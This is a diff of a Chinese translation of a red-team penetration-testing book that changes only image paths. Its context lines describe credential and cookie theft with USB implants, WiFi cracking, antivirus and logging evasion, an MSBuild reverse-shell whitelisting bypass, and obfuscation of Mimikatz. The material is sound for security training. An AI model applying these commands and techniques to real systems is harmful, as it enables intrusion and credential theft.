......@@ -252,7 +252,7 @@ Guided Mode(所以选项都保留默认值)
* 在 Bash Bunny 上,打开开关1(离 USB 插孔最远的那个开关)上,然后插入。完成后,请确保连接到 Bash Bunny,在那里你可以看到 Cloud <-> Laptop <-> Bunny image
* 在你的 Kali 机器上,用密码 hak5bunny 通过 SSH 进入 Bash Bunny
![](img/chapter_6/6-10.png)
![](img/6-10.png)
登陆进入你的 Bash Bunny
* 在你的 Kali 机器上,用密码 hak5bunny 通过 SSH 进入 Bash Bunny
......@@ -282,7 +282,7 @@ cp -R /opt/bashbunnypayloads/payloads/library/credentials/QuickCreds/* /media/ro
QuickCreds 是一个很棒的工具,它使用 Responder 攻击从锁定和未锁定的机器上捕获 NTLMv2 Challenge 哈希。假设你在做一次物理评估,为此你闯进一栋大楼,碰到了一堆锁着的机器。你使用 QuickCreds 的开关插入 Bash Bunny ,每台机器等待大约 2 分钟。Bash Bunny 将接管网络适配器,使用 Response 重新传输任何共享和身份验证请求,然后记录这些数据。它将所有凭证保存到 USB 磁盘上的 loot 文件夹中。
> 译者注: 如若不懂“NTLMv2 Challenge 哈希”,可以参考此篇:[Windows 下的密码 hash——NTLM hash 和 Net-NTLM hash 介绍](https://3gstudent.github.io/Windows%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81hash-NTLM-hash%E5%92%8CNet-NTLM-hash%E4%BB%8B%E7%BB%8D/)
![](img/chapter_6/6-11.png)
![](img/6-11.png)
参考资料:
* https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library/credentials/QuickCreds
......@@ -301,7 +301,7 @@ BunnyTap 基于由 Samy Kamkar 开发的知名工具 PoisonTap ( https://www.you
从一次物理评估的角度来看,你进入他们的办公室,在每台机器上插上 Bash Bunny,然后等待大约2分钟。Bash Bunny 会让电脑中的所有流量都走 Bash Bunny 转发。如果他们有一个打开并且活动的浏览器(如广告或任何定期更新的页面),BunnyTap 将启动并向所有 Alexa Top 100,0000 网站发出请求。此时,受害者用户若登录到这些站点中的任何一个,BunnyTap 将捕获受害者的所有 cookie。现在,我们可以将这些 cookie 发回到自己的计算机上,把我们的 cookie 替换成他们的,这样即可在不知道他们密码的情况下,冒充他们的身份进入网站。
![](img/chapter_6/6-12.png)
![](img/6-12.png)
请务必查看所有 Bash Bunny 的 payload:
* https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library
......@@ -309,11 +309,11 @@ BunnyTap 基于由 Samy Kamkar 开发的知名工具 PoisonTap ( https://www.you
## WiFi
WiFi 攻击方面,我们攻击受害者的方式没有什么大变化。虽然 WEP 加密网络的使用显著减少,但攻击方式仍包括反认证、aireplay-ng 和捕获 IV 数据包。对于 WPA 无线网络,最好的攻击手段,依旧是对客户端进行反认证 、捕获握手包、将其传递给 hashcat 对密码进行破解。以上这几种方法屡试不爽。工具方面,我最爱的工具是 [Wifite2 的完全重写的版本](https://github.com/derv82/wifite2),这个新版本带有一个 Alfa AWUS036NHA 无线网卡。这是一个非常易于使用的接口,可以支持多种攻击,基于 aircrack 工具套装,令它可以很容易地破解捕获的哈希值。
![](img/chapter_6/6-13.png)
![](img/6-13.png)
关于发动 WiFi 攻击的装备,除了使用一对 Alfa 无线网卡,执行更加隐蔽的 WiFi 攻击的简单方法是使用 [WiFi Pineapple Nano](https://www.wifipineapple.com/pages/nano)。如果你想建立一个假的主无线接入点,通过天线改变他们流量的通信路径,用伪造页面捕获身份验证,执行所有的中间人攻击,运行 Responder 和其他攻击的话,WiFi Pineapple Nano 是一个能执行此操作的轻量级硬件工具。
![](img/chapter_6/6-14.png)
![](img/6-14.png)
除了 Pineapple,还有其他一些工具可以用来攻击公司网络。其中一个就是 [eaphammer](https://github.com/s0lst1c3/eaphammer)
......
......@@ -2,7 +2,7 @@
> 译者:[@Snowming](https://github.com/Snowming04)
![](img/chapter_7/7-1.png)
![](img/7-1.png)
## 为红队行动编写工具
红队人员和渗透测试人员比较明显的区别之一就是红队人员能快速的适应并理解不同的防护。无论是理解低级语言(机器代码和汇编语言),编写`shellcode`,创建自定义的 C2 二进制可执行文件,还是修改代码来隐藏恶意程序,它们都是我们(红队)日常工作的一部分。我总是遇到不会编程的渗透测试人员,虽然这不是一项硬性要求,但是编程水平确实会决定他们专业成长的高度。 因此,我专门编写这一章节来给那些没有使用过偏向底层的低级语言编程的人一个良好的入门方向。
......@@ -121,7 +121,7 @@ int decrypt(const char* string, char result[])
该程序的第 3 版本将前一个示例中的字符串加密与使用指针调用函数的方法相结合。有趣的是,如果你将已编译的二进制文件提交到 VirusTotal(病毒检测网站),你将不再在导入部分中看到 User32.dll。在下面的图片中,左侧图像是版本1的检测结果,右侧图像是带有调用指针的版本3的检测结果 。
![](img/chapter_7/7-2.png)
![](img/7-2.png)
你可以在以下网址找到版本3的完整源代码:https://github.com/cheetz/ceylogger/tree/master/version3 。
......@@ -141,7 +141,7 @@ int decrypt(const char* string, char result[])
> 译者注:根据上面的链接,译者点进去看了每一个数据,但是发现数据都有所更新,所以把上面的内容修改为和链接到的内容一致的最新数据。但是下面的图片是书上的原图,所以是老的过期的数据。下面的图片是说,将版本3编译为 64 位的 payload,得到 0/66(无一家一家检测出)的结果,但是现在已经是 1/69,也就是 69 个杀软种有一个可以检测出病毒。
![](img/chapter_7/7-3.png)
![](img/7-3.png)
**实验:**
......@@ -358,7 +358,7 @@ Windows 要求:
配置和开发了恶意软件后,将其移至 Web 目录(malware.hta,malware.html,malware.payload),启动 apache2 服务,然后启动你的 Meterpreter 处理程序。你现在已经做好准备,通过诱导受害者访问你的恶意站点来对其发动社会工程学攻击!下图中给出的示例是 Sharpshooter 的 SharePoint 在线模板。当受害者使用 IE/Edge 浏览器访问你的恶意网页时,HTA 会自动下载并提示运行。一旦显示了提示并选择运行的话,stager payload 就会运行,下载辅助 payload(满足沙箱控件的情况下),并在内存中执行我们的 Meterpreter payload。
![](img/chapter_7/7-4.png)
![](img/7-4.png)
补充信息:
* https://www.mdsec.co.uk/2018/03/payload-generation-using-sharpshooter/
......@@ -378,17 +378,17 @@ Windows 要求:
* 生成
* 使用 Metasploit 创建一个新的 windows/meterpreter/reverse_http 的监听器
![](img/chapter_7/7-5.png)
![](img/7-5.png)
在我们的 Kali 实例中,我们使用 GreatSCT 来创建 `shellcode.xml` 文件,该文件包含构建信息和一个 Meterpreter 反向 http shell。需要将此文件移动到受害系统并使用 MSBuild 进行调用。
\*注意:我观察到 GreatSCT 项目正在 [develop 分支](https://github.com/GreatSCT/GreatSCT/tree/develop)上进行活跃的开发,其中包括 https Meterpreter 和其他应用程序白名单绕过命令执行。我估计在本书发布之前,就会被合并到 master 分支。
![](img/chapter_7/7-6.png)
![](img/7-6.png)
在 Windows 受害者计算机上执行文件调用后,使用 `C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe shellcode.xml` 命令,.NET 将开始构建 shellcode.xml 文件。在此过程中,将在受害者计算机上生成一个反向 http Meterpreter 会话来绕过任何应用程白名单。你可能希望编辑 shellcode.xml 文件以插入经过混淆的 payload,因为 Meterpreter 默认的 payload 很可能会触发杀毒软件。
![](img/chapter_7/7-7.png)
![](img/7-7.png)
可以使用许多种不同的方法来进行应用程序白名单绕过,光这一部分内容就足以写成一本书。以下是一些额外的资料:
* 使用 Windows 默认可执行文件的大量示例:
......@@ -460,11 +460,11 @@ Powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy B
* ENCODING
* 在这个例子中,我选择了 SecureString(AES),但你可以把所有这些混淆技术都试一试。
![](img/chapter_7/7-8.png)
![](img/7-8.png)
混淆后的字符串包含一个随机生成的密钥和一个加密的安全字符串。在管理员权限下运行 PowerShell,我们仍然可以执行完整的 payload。
![](img/chapter_7/7-9.png)
![](img/7-9.png)
我们也可以回到主屏幕并创建混淆的 launcher:
* main
......@@ -472,11 +472,11 @@ Powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy B
* CLIP++
* 选择你的执行 flag
![](img/chapter_7/7-10.png)
![](img/7-10.png)
更棒的是,查看 Windows PowerShell 日志我们会发现,如果脚本是混淆的,日志中也仅仅是记录了混淆后的东西。这个特性可以帮助我们躲避杀毒软件和 SEIM 警报工具。
![](img/chapter_7/7-11.png)
![](img/7-11.png)
除了 Invoke-Obfuscation 之外,Daniel 还创建了一个名为 [Invoke-CradleCrafter](https://github.com/danielbohannon/Invoke-CradleCrafter) 的工具,该工具专注于远程下载 cradle,是一个 PowerShell 2.0+ 版本兼容的 PowerShell 远程下载 cradle 生成器和混淆器。Invoke-CradleCrafter 的 github README 文档中介绍说,“Invoke-CradleCrafter 的存在是为了帮助蓝队和红队轻松探索、生成和混淆 PowerShell 远程下载 cradle。此外,它可以帮助蓝队测试环境检测的有效性。Invoke-CradleCrafter 可以检测 Invoke-Obfuscation 产生的输出,但是在处理 Invoke-CradleCrafter 时可能会失败,因为它不包含任何字符串拼接、编码、复选标记、类型转换等”。
......@@ -520,15 +520,15 @@ HideMyPS 将找到所有函数并使用 ROT 对它们进行混淆处理,从 Po
* cd /opt/HideMyPS
* python hidemyps.py invoke_mimikatz.ps1 [filename.ps1]
![](img/chapter_7/7-12.png)
![](img/7-12.png)
现在,看看原始文件和你创建的新文件之间的区别。首先,你可以看到函数名称全部混淆,变量已经被改,字符串被分解为两半,并且所有注释都移除了。
![](img/chapter_7/7-13.png)
![](img/7-13.png)
你必须记住的一件事是我们更改了 PowerShell 脚本中的所有函数名称。因此,为了调用函数,我们将不得不回顾我们的混淆文件,看看我们做了什么来替换 `Invoke-Mimikatz` 函数。在这个例子中,`Invoke-Mimikatz` 改名为 `Vaibxr-Zvzvxngm`。以下示例是在完全修补的 Windows 10 上运行的,其中 Windows Defender 已经更新到最新版本。
![](img/chapter_7/7-14.png)
![](img/7-14.png)
## 本章总结
作为红队成员或渗透测试工程师,我们总是在与主机/网络检测工具玩猫捉老鼠的游戏。这就是为什么理解潜在保护体系的工作机制、编写底层代码以直接与 Windows API 而不是 shell 命令进行交互,以及跳出框框进行创造性思考这些能力是非常重要的。如果你的关注点仅限于一些常用工具,那么你的入侵行动有很大的概率会在企业环境中被检测到。如果这些工具是公开的,那么安全厂商很可能会在它们刚出现时候就对其进行逆向并且为它们开发签名。你可以利用当前已有的攻击工具并以某种方式对其进行定制化二次开发,使其不能被这些安全厂商识别。
......@@ -4,7 +4,7 @@
>
> 校对者:[@鶇](http://wp.blkstone.me)、@哈姆太郎、@匿名jack
![](img/chapter_8/8-1.png)
![](img/8-1.png)
本章重点介绍了一些我个人发现的对红队和渗透测试都有用的不同资源。这些资源可能不会在每个模拟入侵行动中都用到,但对于特定场景或在某一次的案例中可能非常有用。
......@@ -57,7 +57,7 @@ autorun /opt/empire_autoload.rc powershell
autorun show
```
![](img/chapter_8/8-2.png)
![](img/8-2.png)
如你所见,当代理连接时,它会自动运行 `get_user``get_computer` 的 PowerShell 脚本。这些脚本的所有运行结果都将存储在 agent.log 文件中。在这种情况下,我们的代理名称是 N6LM348G,因此我们的日志将存储在 /opt/Empire/downloads/N6LM348G/agent.log。
......@@ -280,7 +280,7 @@ Speed.Dev.#*…..: 633.7 GH/s
* PS> . .\psgetsys.ps1
* PS>[MyProcess]::CreateProcessFromParent(<process_run_by_system>, <command_to_execute>)
![](img/chapter_8/8-3.png)
![](img/8-3.png)
## 在不触及 LSASS 的情况下检索 NTLM 哈希值
Elad Shamir 对怎样在不对 lsass.exe 进程进行操作的情况下抓取 NTLM 哈希进行了广泛的研究。在这种攻击之前,通过 Mimikatz 操作 LSASS 抓取哈希值的操作受到 Windows 10企业版和 Windows Server 2016中的凭证保护的限制。Elad 开发了一种称为 `Internal Monologue Attack` 的攻击,它执行以下操作:
......@@ -290,7 +290,7 @@ Elad Shamir 对怎样在不对 lsass.exe 进程进行操作的情况下抓取 NT
* 恢复 `LMCompatibilityLevel``NTLMMinClientSec``RestrictSendingNTLMTraffic` 的原始值。
* [https://github.com/eladshamir/Internal-Monologue]
![](img/chapter_8/8-4.png)
![](img/8-4.png)
> `译者注` 参考资料:[Windows 下的密码 hash——Net-NTLMv1 介绍](http://www.mottoin.com/tech/110082.html)
......
......@@ -4,7 +4,7 @@
>
> 校对者:@匿名jack
![](img/chapter_9/9-0.PNG)
![](img/9-0.PNG)
随着时间的推移,直到测试的最后一天你都还没有从目标外部网络取得比较好的突破。因为你需要进入目标内网,了解他们公司的网络布局,获得一些敏感文件或者代码,然后找到更多的网段和高权限用户,最终需要拿到 Cyber Space Kittens 公司太空计划的相关资料,此时你感觉压力很大。你的任务是窃取最新的太空计划相关的绝密信息并且不能失败...现在是两分钟操练的时候了。只剩一点点时间了,你需要从10码线开始运球,突破所有的防守保护,扫清路上的障碍,最终把球带到90码线安全着陆。
......@@ -16,7 +16,7 @@
## 20码线
你在纠结要不要直接向 Neil 发送恶意的 payload,但是那样太明显了。于是你向他发送了一个你刚搭建好的一个带有猫猫照片的网站的链接,“嘿,Neil,我知道你喜欢猫!看看我做的这个页面吧!”
![](img/chapter_9/9-1.png)
![](img/9-1.png)
几分钟之后,你在论坛网站上收到的 Neil 的回复:“哈哈,我喜欢这个太空猫啦!”Neil 没有意识到他访问的网页有一个定制的 JavaScript 的 payload,这段 JS 代码在他的机器后台运行,扫描机器所在的 CSK 内部网络,并且危及未经身份验证的 Jenkins 和 Tomcat Web 服务器。几秒钟之后,你得到了一个弹回来的 Empire 的 shell,你终于松了一口气。
......@@ -26,7 +26,7 @@
## 40码线
你清楚自己需要快速离开这个第一台主机。于是你将所有拿回的 Kerberos ticket(票据)导入到 Hashcat 程序中,然后开始破解。你发现用那些额外的 BUG 赏金购买了几块1080Ti显卡是个非常正确的决定。当 hash 开始破解的时候,你注意到有一些服务账户的密码已经破解完毕,但是你现在还没时间去处理这些。你仔细阅读 Bloodhound 的输出结果,发现这台受害的机器是属于 Neil Pawstrong 的,并且 Neil 的 AD 账户(域账户)可以访问另一个属于 Buzz Clawdrin 的机器。通过使用 WMI 进行连接,你远程生成一个新的 payload 到 Buzz 的机器中,然后注入到属于 Buzz 账户进程中。
![](img/chapter_9/9-2.png)
![](img/9-2.png)
## 50码线
幸运的是,你的账户(Neil 的域账户)在 Buzz 主机的本地管理员成员组中,这意味着你能在这个主机上做更多的协同工作。 使用 Bloodhound 进行信息收集,你能够遍历整个 CSK-LAB 域的网络,但你意识到你在这个主机中并没有 `system` 权限。不用担心,你可以加载 `powerup` 这个 powershell 脚本文件来查找这个主机的错误配置,进而让你权限提升到 `system` 权限。如你所料,服务二进制文件有大量没加引号的路径,你可以在那写入你自己的 payload。你可以快速做一个新的恶意的二进制文件来获得 `system` 权限。
......
......@@ -2,7 +2,7 @@
> 译者:[@Snowming](https://github.com/Snowming04)
![](img/introduction/cat.PNG)
![](img/cat.PNG)
在本书的上一版本(The Hacker Playbook 2)中,你的任务是渗透 SUCK 公司的武器设备库。然而他们现在又建立了新的部门,称之为 Cyber Space Kittens (CSK)。这个新部门吸取了之前安全评估的所有经验教训,加强了他们的系统,建立了本地安全操作中心,甚至还创建了安全策略。所以他们再次聘用你作为渗透人员,来测试一下他们所做的所有安全限制是否有助于公司的整体防御。
......@@ -27,7 +27,7 @@
渗透测试和红队的另一个主要区别是时间范围,对于渗透测试,不出意外的话我们会很幸运的有两周的时间。然而,红队的测试短达两周,长达六个月。这是因为我们需要模拟真实的攻击、社会工程学、远控木马等等。最后要说的是,还有一个显著的区别是红队的测试结果是两种团队的共同努力。并非使用漏洞列表,红队的调查结果需要更多地针对蓝队团队流程,政策,工具和技能等方面。在你最终的报告中,你可能会有一些能用于模拟入侵的漏洞方面的发现,但更多的是需要发现应用程序中的漏洞。要永远记住,模拟入侵的结果是要针对制定的安全计划,而不是单纯的信息技术。
<img src="img/introduction/compare.PNG" width = "550" height = "375" alt="图片名称" align=center />
<img src="img/compare.PNG" width = "550" height = "375" alt="图片名称" align=center />
作为红队,我们要向公司展示自己的价值,这和挖掘到的漏洞数量和漏洞严重性无关;它和能证明安全计划如何正常运行有关。红队的目的是模拟真实入侵事件,所以我们要尽可能的低调。从这些测试计划中抽取出的两个强有力的衡量指标是检测时效(TTD)和缓解时效(TTM)。虽然这些不是新的概念,但对红队来说仍然很有价值。
......
......@@ -2,7 +2,7 @@
> 译者:[@Snowming](https://github.com/Snowming04)
![](img/introduction/author.PNG)<br>
![](img/author.PNG)<br>
作者 Peter Kim 从事信息安全行业超过14年,在渗透测试/红队领域工作超过12年。
他曾服务于多家公用事业公司、财富1000娱乐公司、政府机构以及大型金融机构。虽然他最为知名的是<The Hacker Playbook>一书系列,但他却热衷于建立一个“安全”的安全社区,指导学生并培训他人。他创立并维护着南加州最大的一家技术安全俱乐部“LETHAL”(www.meetup.com/LETHAL ),并在他的网站 LETHAL Security(lethalsecurity.com)进行私人培训,同时他还经营一家渗透测试公司,名为Secure Planet(www.SecurePla.net)。
......
Markdown is supported
0% .
You are about to add 0 people to the discussion. Proceed with caution.
先完成此消息的编辑!
想要评论请 注册